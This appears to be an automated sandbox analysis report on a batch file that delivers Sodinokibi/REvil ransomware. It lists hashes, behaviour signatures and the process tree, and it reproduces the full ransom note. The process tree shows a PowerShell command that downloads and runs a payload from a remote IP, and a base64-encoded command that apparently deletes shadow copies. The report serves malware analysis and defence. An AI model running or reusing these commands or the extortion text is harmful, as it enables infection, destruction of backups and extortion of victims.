Analysis

  • max time kernel
    122s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    14-08-2020 13:10

General

  • Target

    02e935713bd82b8d92596478da846147.bat

  • Size

    222B

  • MD5

    709373b57a3c4758065b1f72f1a19b2d

  • SHA1

    b820438ee7bcc43e84373b68f9fec3bedc10c25a

  • SHA256

    ab2207ca32e7d0e2434060e8a2d6cb8bf247c9d3174fe86c5c06fb0100c31838

  • SHA512

    d5061ac40ed9258dcb412dcf5eb05fe716affcd44a388b81b9b89e29317f51138fc8e7a13d1f195a5d3647736aea67c66a1d73fb4cff70406851cd2c29f1816f

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/02e935713bd82b8d92596478da846147

Extracted

Path

C:\3o0686-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 3o0686. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3A852CC17EF37947 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/3A852CC17EF37947 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: zMbBh3NRNbCrV9GJWTKKp3cX+KpBN3RvBUMigq5YA/2117ZSLQ2Efp8+v5ezpKW7 heQZCCAGxGQVgDVvCWPZrTqAGkLI9ZV7xWhOm5QtsvRtU4h3GE63J11k/cfFeeX5 p669Z6gCnjq0lXnIq3yxN1mvPPtxl4AM5zklF8BoMi+0efP4HND+6uD7fH6/7Ijm TNuIbjOy3vohgkDsrWz69aY6i6vkKOuQel1ZgtJDKk4dgeiYEOFNcy4XRW+mG63F KIIQHMif2Nr+x+460uEjKLIIrkuPO0ltd2i+V47mcLpbF9ytUew3aouXPUaIz4iK 0ivEp4aR5AjRqBGRq3iRCNOwC9FC3BXyYFsipmlKNx5CLp3UsFKtRvKuVXaOi2/H 8PkN2HudFIlXoeG0/loJB7LIFq4Y3mGWq5jGunfuSokomezMjuMYACzKCg2WbVSy sX3cxinv3gfAhsQ7L+QBYtivqgOqcVDFsxgXH4lGHJZ/ry7/RLqNOZLs01xddrmt aCy0D8Iw1OK5i4r4LQitHoKIvKrxvuELsSgmPdWbRI4nlv0YEWESqKh2kQ5ShV2z lkpvRSV++d09qHGZ1aBIwym6BPRA1/r+O84WFMh4+fkd0f8TenwSOQEYsIg9BvkA kgo+5LhIqj2lTfCTZyfb7S8GvZVIY6YZkZ3XS2kUOpkyEcwwuvBTLoSAj7f9wU/r SlJKKDM/rJfu8EeqRkqF2d2C1qmPKdoB+2/CSC6Mk10aHDqYhyWj8BkiQ7erx0GV zNOfcGDG0RxiWFNi8V1w0q3E6l+ewPPTQuUg+8yCfxLccT5OCctHwus5J0z2H/2N gE3CLzvXPmdu49ILCdr7+w4ECXp6wMjyN2G8Lz2ey7Y3pjqBtMsakm5AE/0++H0J 8i7hLfVwEmWAxv4DWGXM/YXKBh5InxkTNTqlX2ETvo50bjbuGYkBoXFJwKmA4/RE I1L+WbPJIqTuGKz85f7H5+5SPS9GQg82XDwq0RF2lrI5+N/xv5cO6oFOCVcGvvoW BSsQbN2kdEvxLgSHvEddpSiGouvXBFte6CNiETmOciVcy9qBBNrVwbxKDFt1GNde QEhfWmD2++950az1B3mprD8THQKeuZW2GGB+oC3Hv82qkOIxC1YZoA4FPLYNGjn5 U6dyhmepHjvULgdO8muhBp0RgabKV8S9QxJWYz+xUtswyXcQLQrvn2GaWlUFjjE6 eOEzgGGW7Min1UCv3Y7rF/4nshhcPvT6ROphSEOxDAuSNRhmx1jlQsh3u3LwOgAA rmUL2veidJyDKE1162L0ZnLZENCWPvvFyz2Q82e9b2Q= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3A852CC17EF37947

http://decryptor.cc/3A852CC17EF37947

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Blacklisted process makes network request 61 IoCs
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs
  • Drops file in System32 directory 1 IoCs
  • Modifies service 2 TTPs 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 38 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\02e935713bd82b8d92596478da846147.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/02e935713bd82b8d92596478da846147');Invoke-WIWBLXHVRXNAAOB;Start-Sleep -s 10000"
      2⤵
      • Blacklisted process makes network request
      • Modifies extensions of user files
      • Drops file in System32 directory
      • Sets desktop wallpaper using registry
      • Drops file in Program Files directory
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1072
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1940
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Modifies service
    • Suspicious use of AdjustPrivilegeToken
    PID:1560

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

  • memory/1072-5-0x0000000004850000-0x0000000004851000-memory.dmp

    Filesize

    4KB

  • memory/1072-21-0x0000000006250000-0x0000000006251000-memory.dmp

    Filesize

    4KB

  • memory/1072-22-0x0000000006330000-0x0000000006331000-memory.dmp

    Filesize

    4KB

  • memory/1072-14-0x0000000006160000-0x0000000006161000-memory.dmp

    Filesize

    4KB

  • memory/1072-13-0x00000000056F0000-0x00000000056F1000-memory.dmp

    Filesize

    4KB

  • memory/1072-8-0x0000000005640000-0x0000000005641000-memory.dmp

    Filesize

    4KB

  • memory/1072-0-0x0000000000000000-mapping.dmp

  • memory/1072-4-0x0000000002410000-0x0000000002411000-memory.dmp

    Filesize

    4KB

  • memory/1072-3-0x0000000004930000-0x0000000004931000-memory.dmp

    Filesize

    4KB

  • memory/1072-2-0x0000000000940000-0x0000000000941000-memory.dmp

    Filesize

    4KB

  • memory/1072-1-0x0000000073F90000-0x000000007467E000-memory.dmp

    Filesize

    6.9MB

  • memory/1940-23-0x0000000000000000-mapping.dmp

  • memory/1940-25-0x0000000073F90000-0x000000007467E000-memory.dmp

    Filesize

    6.9MB